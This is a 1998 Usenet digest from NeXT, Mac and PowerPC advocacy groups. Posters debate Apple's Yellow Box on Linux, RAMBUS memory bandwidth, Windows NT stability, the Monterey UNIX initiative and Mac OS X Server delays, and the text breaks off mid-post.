References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0xG4H.5Co@T-FCN.Net> <FIiROLCWddLd-pn2-CkcI6L9GcQM0@localhost> <F0y0C6.5q2@T-FCN.Net> <70pcgr$kke$1@reader1.reader.news.ozemail.net>
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Date: 25 Oct 1998 19:54:22 GMT
Organization: IBM.NET
On Fri, 23 Oct 1998 07:54:24, "Greg Alexander"
<galexand@ozemail.com.au> thought aloud:
> Maury Markowitz wrote in message ...
> >taiQ wrote:
> >> What would be involved with making it "direct"
> >
> > A directly supported version would basically require a port of the QTML
> >over (which is likely not terribly difficult) and porting over a smallish
> >number of servers (in the mach sense) and re-coding them to use Linux's
> >threading packages, finally there's the object runtime. That's basically
> >the majority of it, and it would be FAR easier to port it to Linux than to
> >NT, which they've already done.
> >
> > The project is certainly _possible_, likely not terribly hard, and of
> >some benefit to both parties.
>
> I'm interested - if everyone had to choose between Rhaptel and a
> MacGUI + YB on Linux (or BSD), what would you prefer?
> (This is assuming roughly the same cost for either.)
> Would you be more likely (or less?) to buy either platform?
Well, it would be a win-win situation for Apple in any case - an Apple
sale where no Apple sale has gone before. :-) YB/Linux would probably
run on more hardware and it would also run growing number of Linux
apps. Rhaptel, I'd expect, would be easier to configure and maintain
(on supported hardware, of course) and the user experience would most
likely be more consistent. I believe it's the YB/Linux option that
would sell more; it is easier to embrace and extend than it is to
enter virgin territory without a large application base in place and
customers hooked to those apps. Since Rhaptel would have to rely
mostly on the availability of YB apps - which aren't very common in
near term - it would be more of a difficult sell to the general
public. Those who want YB-optimized servers (enterprises) or
Apple-level GUI and consistency (mostly current Mac users) would be
better off staying with or migrating to PowerMacs running Mac OS X.
Different strokes for different folks yet with Yellow Box Everywhere.
Actually I don't think it would make sense for Apple to release both,
at least in near (or medium?) term, so I'd be more interested in the
YB/Linux offering. Running Linux and Yellow Box apps side by side
sounds attractive. Another factor is that if Apple remains adamant in
not supporting the '97 PCI PowerMacs under Mac OS X it should be
possible to run YB/Linux on my "unsupported" system - a backdoor to
running Yellow Box apps on that system. <g>
> Using existing Open source means you get a good compatibility with
> existing Intel hardware. Apple just has to worry about working on the
> popular distributions.
>
> My only criticism would be if Apple bundled Unix utilities (eg Samba or Apache)
> with new GUIs on MOSX Server, but didn't do the same for their Linux/BSD compile.
Wouldn't some lone developer be able to spend a while in Interface
Builder and release a YB-ified GUI for the Linux version? Apple could
also sell such goodies as add-ons for extra revenue.
> If they bundled on *BSD - then any code improvements made to those
> systems wrt YB would be easily transferable to MOSX.
Using the Linux kernel as base would mean foregoing the *BSD related
conveniences for mindshare, larger marketplace and momentum. It would
probably be easier to sell Linux-based product to enterprises as
there's already a growing number of Linux vendors targetting that
market and that would help create synergy.
> Just wondering!
Me too, always. :^)
Brgds,
--
taiQ
[this space is intentionally blank]
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sat, 24 Oct 1998 23:18:10 -0400
Organization: Bell Atlantic Internet Solutions
Message-ID: <3632985C.DC918DDE@bellatlantic.net>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<F18w9y.K6F@T-FCN.Net> <70omn1$qf9$3@hecate.umd.edu> <F1AAxM.F5F@T-FCN.Net>
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Maury Markowitz wrote:
>
> In <70omn1$qf9$3@hecate.umd.edu> David T. Wang wrote:
> > AFAIK, RAMBUS doesn't solve latency problems. The critical
> > first word would still take just as long. It's a bandwidth
> > issue.
>
> Then I'm not sure I completely understand how it does it.
> Isn't a 100Mhz 64-bit path basically identical in speed to a
> 400Mhz 8-bit one? If so, then am I mistaken in thinking RAMBUS
> is much faster (ie, I thought it was effectively double in
> relative terms, so that it's greater than 533/400 faster)?
> Or is there some other magic that's going on as well?
>
First, the 400MHz bus would need to be 16-bits wide to be equivalent
to the 100MHz by 64-bit bus.
In both cases (the 100MHz by 64-bits and the 400MHz by 8-bits) the
time to get the first word is identical (or we will assume it is
for the sake of simplicity). This means that from the time you
assert an address to the time you get back the first word is, say,
30ns, which is 3 bus cycles for the 100MHz bus and 12 bus cycles
for the 400MHz bus. So, after the first 30ns, we have the following
amount of data received (assuming a 4 word burst for the 100MHz bus
and an 16 word burst for the 400MHz bus):
t(ns) 100x64 400x8
30 64 16
32.5 64 32
35 64 48
37.5 64 64 [1]
40 128 80
42.5 128 96
45 128 112
47.5 128 128 [1]
50 192 144
52.5 192 160
55 192 176
57.5 192 192 [1]
60 256 208 [2]
62.5 256 224
65 256 240
67.5 256 256
[1] notice that the faster narrower bus doesn't catch up with the
slower wider bus until the end of the slower busses cycle. For
most of each slower cycle the slower bus has a higher bandwidth
than the faster bus.
[2] At the 60ns mark the slower bus is finished. The slower bus is
able to transmit the full 256-bits of data a whole 7.5ns sooner
than the faster bus.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhaptel OR MacYB on Linux/BSD? (was re: Apple as Linux vendor)
Date: Mon, 26 Oct 1998 22:59:30 +1000
Organization: OzEmail Ltd.
Message-ID: <711nvv$8to$1@reader1.reader.news.ozemail.net>
References: <FIiROLCWddLd-pn2-uMYllr9dK9cP@localhost> <19981025203657.16436.00001459@ng-fi1.aol.com>
WillAdams wrote in message <19981025203657.16436.00001459@ng-fi1.aol.com>...
>This thread is kind of puzzling to me--isn't this already being done by the
>GNUstep project? <www.gnustep.org>
Actually, I wasn't talking about YB on Linux (on which GUI?).
I was talking about ALL the upper levels of MOSX Server, but on Linux or a BSD
(instead of on Apple's Mach-BSD combination).
This would imply that IF you have a working Linux, you could install
Apple's GUI, YB, ColorSync, Quicktime etc. It wouldn't matter what Intel
hardware was being used as long as Redhat etc worked on it. Same goes
for PPC with LinuxPPC.
>Would it be possible for Apple to sell something being given away which is on
>the verge of being complete?
The issue of selling just YB is interesting. I imagine they could sell something
like that if it wasn't expensive - but I think Apple's client plans are leaning
towards free runtimes with cost on the professional versions anyway.
It would be interesting to see a GNUStep and a YB offered on the same
platforms - YB would start off better, as it became popular support for
GNUStep would increase which would naturally improve it.
Just thoughts
Greg
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: 25 Oct 1998 22:54:27 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn737b13.qsj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu> <70ksut$181k$1@piglet.cc.uic.edu> <70nj6e$3ud@newsb.netnews.att.com> <70sqge$7l0@news1.panix.com>
NNTP-Posting-Date: 25 Oct 1998 22:54:27 GMT
On 24 Oct 1998 15:07:58 GMT, Sal Denaro <sal@panix.com> wrote:
:Hmmm... how would x86 price wars effect Apple's consumer line?
:
:I think it would be _very_ hard for Apple to get away with the
:current margins if prices on the x86 market drop by 20% or more.
Unless....Apple starts making x86-based computers. With clean hardware
and running MOSX, of course.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhaptel OR MacYB on Linux/BSD? (was re: Apple as Linux vendor)
Date: 26 Oct 1998 01:36:57 GMT
Organization: AOL http://www.aol.com
References: <FIiROLCWddLd-pn2-uMYllr9dK9cP@localhost>
Message-ID: <19981025203657.16436.00001459@ng-fi1.aol.com>
This thread is kind of puzzling to me--isn't this already being done by the
GNUstep project?
<www.gnustep.org>
Would it be possible for Apple to sell something being given away which is on
the verge of being complete?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 26 Oct 1998 01:41:27 GMT
Organization: University of Maryland, College Park
Message-ID: <710k07$o42$1@hecate.umd.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <70omn1$qf9$3@hecate.umd.edu> <F1AAxM.F5F@T-FCN.Net> <3632985C.DC918DDE@bellatlantic.net> <70vmm3$fml@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirrorafter@ wrote:
: In <70omn1$qf9$3@hecate.umd.edu> David T. Wang wrote:
: > AFAIK, RAMBUS doesn't solve latency problems. The critical
: > first word would still take just as long. It's a bandwidth
: > issue.
: Question : while currently latency may be more important than
: bandwidth for single processor performance, isn't bandwidth crucial
: for multiprocessor systems performance ?
: i.e., if RAMBUS gets 90% of the peak performance of a processor using
: some other memory technology, but scales linearly, whereas the other
: technology scales poorly, then doesn't RAMBUS meet Intel's goals ?
: If RAMBUS scales linearly , for example, then with the hypothetical 90%
: of a peak score of 1 for a uniprocessor, a 1 processor RAMBUS machine gets
: a score of 0.9, a 2 processor machine gets 1.8, a three processor gets 2.7,
: four processor gets 3.6, etc.. If the other hypothetical technology
: scales like 0.9 increment of the last processor added, then this other
: tech. gets a score of 1 for a single processor, 1.9 for a two processor,
: 2.71 for a three processor, 3.43 for a four processor, etc.
: ????
: -arun gupta
I guess if you provide a daisy chain style hookup, you are trading more
latency for the bandwidth, which I *guess* they are thinking that they can
cover up part of the latency with fast caches. However, I don't see how
you can get more bandwidth with more processors, since they all have to
share the same address space (for uniform memory access SMP) I do see
that you can get more bandwidth by adding multiple, independent channels.
And it would be much easier to add sets of 20 traces to a board, compared
with 70 or 80 per set. That, more than anything else, makes sense of
"why RAMBUS" to me.
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A prediction
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 26 Oct 1998 04:32:31 GMT
Organization: University of Maryland, College Park
Message-ID: <710u0v$ssj$1@hecate.umd.edu>
References: <70ipmn$osd@newsb.netnews.att.com> <cybin9NOSPAM-2210982039060001@randolphmax1-107.megsinet.net> <70q27s$87o@newsb.netnews.att.com> <cybin9NOSPAM-2310981602090001@randolphmax3-91.megsinet.net> <macghod-2310982119440001@1cust81.tnt1.santa-barbara.ca.da.uu.net> <cybin9NOSPAM-2510981433050001@randolphmax3-53.megsinet.net>
cybin (cybin9NOSPAM@hotmail.NOSPAMcom) wrote:
: Well, sure, I agree that he can be quite obsessive, but he researches the
: sh*t out of what he writes about, and it's really hard to argue about cold
: hard facts like Intel's own announced future release dates versus their
: actual release dates, often months later than what they "promised". My
: point was simply that they rarely if ever deliver anything on time: they
: give continued false hope to the masses. Propaganda pure and simple,
: reinforced by barrages of cutsy commercials to saturate the market with
: brand recognition. If they spent as much time and money on R & D as they
: do on advertising they might meet more deadlines.
Mr Every does appear to do quite a bit more research than your average
advocate. However, not all of his "facts" and evidence is infallible.
I have called upon him to revise his article based on specific references,
which I have known to be false. (i.e. the mythical 1 Meg PPro used for
supposed propaganda purposes in 1995 and 1996) Mr Every also makes a
myriad of other claims, many of which I have found to be quite ludicrous.
However, that is okay as long as he is presenting a personal opinion.
It's only when he tries to present these opinions backed up by facts
which are not so correct that sometimes I would post long and arduous
replies picking on them.
With regards to delivery, it's my opinion that a 450 MHz Pentium II is
already quite impressive. It was promised, and it was delivered. The
same could not be said of some others proporting to deliver their faster
parts.
My 2 yen.
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
Message-ID: <3632AB9F.CAB139C5@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: This is the OS the world will move to?
References: <alex-2410980029060001@cs48-25.austin.rr.com>
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NNTP-Posting-Date: Sun, 25 Oct 1998 00:36:27 EDT
Date: Sat, 24 Oct 1998 21:39:59 -0700
Alex Kac wrote:
* http://cnn.com/TECH/computing/9810/23/prepare.idg/
* Talks about the move to Windows NT.
Not sure what your point is in terms of promoting Win NT, but
one point from the article stood out:
* 'rock-solid reliability . . . . '
You have got to be bloody-well joking. 'Rock Solid'. Like
the San Francisco Marina in an earthquake, maybe?
For better or for worse, my partners and I have moved over to
NT for Java hacking. Note that the article you cite gave ample
re-inforcement for why we made the move --- Windows 958 is so
unstable we can't depend on it for more than a half hour.
But this is what 150 million people have embraced for their
work and home use?
So we switched to NT. As I've said many times, with NT we
need reboot only two or three times a day as opposed to the
twenty times a day with Windows 958. It may sound like a
Porsche, but it sure doesn't drive like one.
We are running Borland/Inprise [or whatever they're called]
JBuilder on Windows NT [with SP3].
o To start a JBuilder session, a Windows NT reboot is recommended.
o After some time of web surfing with Netscape Confusicator, I
arrive at a point where I can't send mail, can't get mail, can't
find any web sites, and can't even get to my own web page that
happens to be on the ISP that I am dialled into.
o I tried the Sun/JavaSoft Pure Java Certification tools a month
or so ago. The Pure Java tool ran for eleven HOURS before
crashing my NT system.
o I have a package [NDA so I can't tell you who] with which I
can crash NT on demand --- a twenty-line program does the trick.
Yes, NT is 'better' than Win 958, but 'Rock Solid' is a crock.
Oh, and just to forestall all the protests --- I am running a
400MHz Pentium II with 256 MB RAM, and UW SCSI.
And the message I have for my friends, family, and co-developers
is 'reboot early, and reboot often'.
Cheers,
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 26 Oct 98 11:35:24 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25A0EFF-18020@206.165.43.172>
References: <F1FyGB.r9@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
> Only with the proper tools. OD was not the proper tool IMHO. Or it was
>_a_ tool for the wrong problem at least. Do you know how it got started?
>It's one of those classic old-Apple stories. It started in 1991 as a file
>format, the result of a round table in which developers asked Apple for a
>standardized rick-content document format. The original system was
>similar
>to IFF and documented on the WWDC disks.
>
> Next year it was "Bento". Then it went away. Then it got sucked up
into
>OD. So the developers asked for a file format in 1991, and were delivered
>OD instead in 1996. This is a perfect illustration of the problem.
That's interesting, because my understanding from David McCusker is that
Bento was actually a Novelle project and not an Apple one.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 26 Oct 1998 19:49:27 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <712jo7$js0@newsb.netnews.att.com>
Originator: gupta@tlctest
The raw stuff can be found at :
http://www.ibm.com/Servers/monterey/
It looks like IBM AIX/SCO UnixWare consolidation, with
IBM's AIX middleware being ported to SCO, and targetting
Intel's IA-32, IA-64 and IBM's Power/PowerPC processors.
Sequent will contribute cc:NUMA technology. This is being
done with active support from Intel.
The goal is to make this new operating system the leading
UNIX for Intel platforms, and presumably the leading UNIX overall.
All-in-all probably a good thing for UNIX; it adds life to AIX.
What does it portend in the long run for IBM's Power/PowerPC machines
is a good question. On the one hand, they may get more ISV
support with this new OS; on the other hand they may fade away in
the market, replaced by machines run by Intel's processors.
IMO, the future of PowerPC as anything but an embedded processor
depends very strongly on Apple's MacOS X.
-arun gupta
From: telam@iquest.net (Tom Elam)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhaptel OR MacYB on Linux/BSD? (was re: Apple as Linux vendor)
Date: Mon, 26 Oct 1998 15:06:37 GMT
Organization: HUH?
Message-ID: <36348fb8.7489484@news.newsguy.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0xG4H.5Co@T-FCN.Net> <FIiROLCWddLd-pn2-CkcI6L9GcQM0@localhost> <F0y0C6.5q2@T-FCN.Net> <70pcgr$kke$1@reader1.reader.news.ozemail.net>
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On Fri, 23 Oct 1998 17:54:24 +1000, "Greg Alexander" <galexand@ozemail.com.au>
wrote:
SNIP
>
>I'm interested - if everyone had to choose between Rhaptel and a
>MacGUI + YB on Linux (or BSD), what would you prefer?
Fortunately not EVERYONE has to make this choice. We can have Windows, UNIX,
even OS/2 if we want it.
---------------------------------------------
Tom Elam
The New and Improved Family Home Page is at:
http://members.iquest.net/~telam/default.htm
If somebobody can make it idiot proof,
Then somebody else will invent a better idiot
T. Elam
1998
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: To be the Sony of the computer business
Message-ID: <cdoutyF1G6wp.Jos@netcom.com>
Sender: cdouty@netcom10.netcom.com
Organization: Netcom Online Services, Inc.
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <ericb-2210982024270001@r4149.resnet.cornell.edu> <01bdfe2a$27f06770$06387880@chewy> <billa-2310981944080001@archbald-34.slip.uiuc.edu>
Date: Mon, 26 Oct 1998 18:48:25 GMT
In article <billa-2310981944080001@archbald-34.slip.uiuc.edu>,
Bill Altenberger <billa@uiuc.edu> wrote:
>In article <01bdfe2a$27f06770$06387880@chewy>, "Todd Heberlein (todd at
>NetSQ dot com)" <todd@dev.null> wrote:
>> The problem I had with [what I believed] was Amelio's vision is that
>> small isn't OK for the computer business. You cannot attract new
>> developers with small marketshare for your API. NeXT knew this when it
>> chose to bring OpenStep APIs to Windows (although it blew it with the
>> price), and Sun knew this when they brought Java out for Windows and
>> other platforms.
>>
>> Sony still has high volume sales.
>
>How about USB? How long has Wintel been shipping motherboards with a
>USB port? I finaly saw a USB device. Guess what it was attached to...
USB is an Apple marketing "success," but not an Apple innovation. Many PC
motherboards have shipped with USB ports (or at least the motherboard
connectors) for over a year. My ASUS SP97 mainboard has USB connectors,
and it was not the first shipping product. Win95 OSR2 has USB software
support.
What was lacking in the Wintel world was any compelling reason to use
USB. They had two well defined keyboard and mouse connector styles
(traditional or PS/2 for keyboards; serial or PS/2 for mice) plus a well
defined joystick connector. Add in RS-232 serial, parallel, floppy port,
EIDE, and sometimes SCSI and you can see why peripheral manufacturers
were not racing to adopt USB. Apparently the USB device chipsets were
big and expensive too, which may have changed recently.
Apple went to USB for several reasons, not the least was to attempt to get
more diversity in peripherals, especially joysticks. No one was desigining
new ADB devices. With USB software support coming in Win98 (and already
in Win95 OSR2) and widespread port availability in new computers peripheral
device makers could sell USB devices to both Mac and PC markets.
Everybody is happy.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Mon, 26 Oct 1998 19:13:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <712hlc$vk7$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <70p6id$97p$1@birch.prod.itd.earthlink.net> <3632BA95.4BF99CB6@nstar.net> <70ut16$8ju$2@news.idiom.com> <36337725.267FE082@ncal.verio.com> <F1Fzo9.1Fr@T-FCN.Net>
In article <F1Fzo9.1Fr@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <36337725.267FE082@ncal.verio.com> Mike Paquette wrote:
>> The techniques used to support 8 bit framebuffers on HP, Sun, and Intel
>> NEXTSTEP boxes were developed at NeXT, with the exception of the HP
>> Gecko.
>
> I've never heard of this, what was the Gecko?
The HP 9000/712 workstation, running at 60 or 80 MHz ('tho now a 100 MHz
version is available). Good FP performance, decent overall system, sort of
expensive, fairly proprietary hardware-- HP wants ~$500 for a 32 MB SIMM for
the thing.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <3632BA95.4BF99CB6@nstar.net>
Date: Sun, 25 Oct 1998 00:43:49 -0500
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <70p6id$97p$1@birch.prod.itd.earthlink.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Ziya Oz wrote:
> During the question and answer session at the end, an audience member asked why
> Mac OS X Server was missing from the OS roadmap slide. Martin [Jim Martin
> Apple's Senior Director of Design and Publishing Marketing] made it very clear
> MacOS X Server was alive and well, however: "We came to the conclusion with our
> developers that the best strategy is come out with that (MacOS X Server) in '99
> and make sure that it has the right hardware design, the right software on it,
> like Web Objects, and do it right rather than try to do it too quickly."
If doing MacOS X Server "right" is anything like the way NeXT did
workstation color "right", it's pretty much all over.
> He says, 1999; not November 28, 1998.
Pretty much makes no difference, in the grand scheme of things. Apple
lovers won't care, developers probably can't get much more impatient,
and MacOS X Server won't be much different.
MJP
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhaptel OR MacYB on Linux/BSD? (was re: Apple as Linux vendor)
Date: Tue, 27 Oct 1998 09:57:53 +1000
Organization: OzEmail Ltd.
Message-ID: <712uja$6ve$1@reader1.reader.news.ozemail.net>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0xG4H.5Co@T-FCN.Net> <FIiROLCWddLd-pn2-CkcI6L9GcQM0@localhost> <F0y0C6.5q2@T-FCN.Net> <70pcgr$kke$1@reader1.reader.news.ozemail.net> <36348fb8.7489484@news.newsguy.com>
>Greg Alexander wrote:
>SNIP
>>I'm interested - if everyone had to choose between Rhaptel and a
>>MacGUI + YB on Linux (or BSD), what would you prefer?
Tom Elam wrote:
>Fortunately not EVERYONE has to make this choice. We can have Windows, UNIX,
>even OS/2 if we want it.
Very funny.
Me: "If you had to choose between these 2 systems, which would you prefer?"
You: "I'd prefer the 3rd, 4th, or 5th choice."
I guess that means no preference. ;-)
Greg
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 26 Oct 98 11:36:41 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B25A0F4C-1923E@206.165.43.172>
References: <F1FyGB.r9@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Maury Markowitz <maury@remove_this.istar.ca> said:
>The
>former locks you into OD and makes your product interact with OD only (for
>the most part) and is not even likely to be on most Macs, the later is
>based on industry standard data formats and typically uses HTML or RTF as
>its storage format, guarenteed to be available on almost every platform.
Ah, but how many Mac users will be able to use YB?
I'm loyal to the people that I have worked for in the past.
You?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Message-ID: <cdoutyF1G68z.Itq@netcom.com>
Sender: cdouty@netcom10.netcom.com
Organization: Netcom Online Services, Inc.
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <70p6id$97p$1@birch.prod.itd.earthlink.net> <3632BA95.4BF99CB6@nstar.net>
Date: Mon, 26 Oct 1998 18:34:10 GMT
In article <3632BA95.4BF99CB6@nstar.net>,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Ziya Oz wrote:
>
>> During the question and answer session at the end, an audience member
>asked why
>> Mac OS X Server was missing from the OS roadmap slide. Martin [Jim Martin
>> Apple's Senior Director of Design and Publishing Marketing] made it very clear
>> MacOS X Server was alive and well, however: "We came to the conclusion
>with our
>> developers that the best strategy is come out with that (MacOS X
>Server) in '99
>> and make sure that it has the right hardware design, the right software on it,
>> like Web Objects, and do it right rather than try to do it too quickly."
>
>If doing MacOS X Server "right" is anything like the way NeXT did
>workstation color "right", it's pretty much all over.
To my knowledge, the "color done right" refers to software support and
the NeXTdimension which was an incredible video card for 1991. I will
definitely agree that the ND was quite expensive, and the released
product feature set was not the same as the prototype's.
I'm not so fond of the 12-bit color scheme on the slabs, but it does look
pretty close to the ND's full 24-bit color. NeXT did some nifty
dithering tricks for this one.
That said; late is almost always bad. History clearly shows the first
widely marketed computer product succeeds where later, more technically
advanced products usually fail. The market is a mob and therefore has a
low IQ. Oh well.
>> He says, 1999; not November 28, 1998.
>
>Pretty much makes no difference, in the grand scheme of things. Apple
>lovers won't care, developers probably can't get much more impatient,
>and MacOS X Server won't be much different.
Unfortunately I think you are right here.
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: "Robert Bullock" <rcbullock@worldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Oklahoma City: Need black hardware help
Date: 27 Oct 1998 00:56:07 GMT
Organization: Susie
Message-ID: <01be0144$bbbecc40$8a8a4a0c@stuff1>
I need use of a Mono NeXT cube/slab in Oklahoma City, OK.
My new to me Nextcube has no display on its Megapixel monitor (that was
made in 1988 geez!). It boots up and I hear a beep or two. Waiting and
hitting the power off and return key shuts it off.
I would like to try the monitor and or cube with known goos entities to
determine the problem. The monitor appears to power up, the screen
generates static when it's 'ON'.
I suspect that the monitor was damaged during shipping as it was shipped on
it's side.
-Robert
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 27 Oct 1998 01:05:42 GMT
Organization: University of Maryland, College Park
Message-ID: <713696$nqi$1@hecate.umd.edu>
References: <70jml1$2ska$1@piglet.cc.uic.edu> <70jod0$c70$1@hecate.umd.edu> <70ksut$181k$1@piglet.cc.uic.edu> <70m1n8$u8h$1@hecate.umd.edu> <7131hb$kf6$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: David T. Wang (davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu) wrote:
: : I wrote:
: : : Maybe, or maybe some of them are working on the K7. I don't know if
: : : AMD can afford to have multiple large teams working on three generations
: : : of CPUs at the same time.
: : That was my point, K6-2 and K6-3 aren't a "new generation" design.
: : Also, IIRC, AMD's two design teams are located quite far apart as well.
: : Texas and California? (for some reason that thought is in the back of my
: : head. I cannot recall a reference to this.)
: Apparently AMD is working on a K8, and a DEC guy is heading the team,
: according to a editorial in the recent Microprocessor Report regarding
: the Digital brain drain at Compaq and Intel.
The same gentleman who headed K7?
: Anil
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: IBM/SCO/Intel/Sequent new UNIX initiative
Date: 27 Oct 1998 00:41:39 GMT
Organization: University of Maryland, College Park
Message-ID: <7134s3$kpg$1@hecate.umd.edu>
References: <712jo7$js0@newsb.netnews.att.com> <712ukf$1rqc$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: gupta@knim.tm.tta.moc-mirrorafter@ wrote:
: : The raw stuff can be found at :
: : http://www.ibm.com/Servers/monterey/
: : It looks like IBM AIX/SCO UnixWare consolidation, with
: : IBM's AIX middleware being ported to SCO, and targetting
: : Intel's IA-32, IA-64 and IBM's Power/PowerPC processors.
: : Sequent will contribute cc:NUMA technology. This is being
: : done with active support from Intel.
: : The goal is to make this new operating system the leading
: : UNIX for Intel platforms, and presumably the leading UNIX overall.
: : All-in-all probably a good thing for UNIX; it adds life to AIX.
: : What does it portend in the long run for IBM's Power/PowerPC machines
: : is a good question. On the one hand, they may get more ISV
: : support with this new OS; on the other hand they may fade away in
: : the market, replaced by machines run by Intel's processors.
: : IMO, the future of PowerPC as anything but an embedded processor
: : depends very strongly on Apple's MacOS X.
: : -arun gupta
: Not exactly. The press releases are rather vague, but from what I
: read it seems that IBM isn't porting AIX, but rather is helping
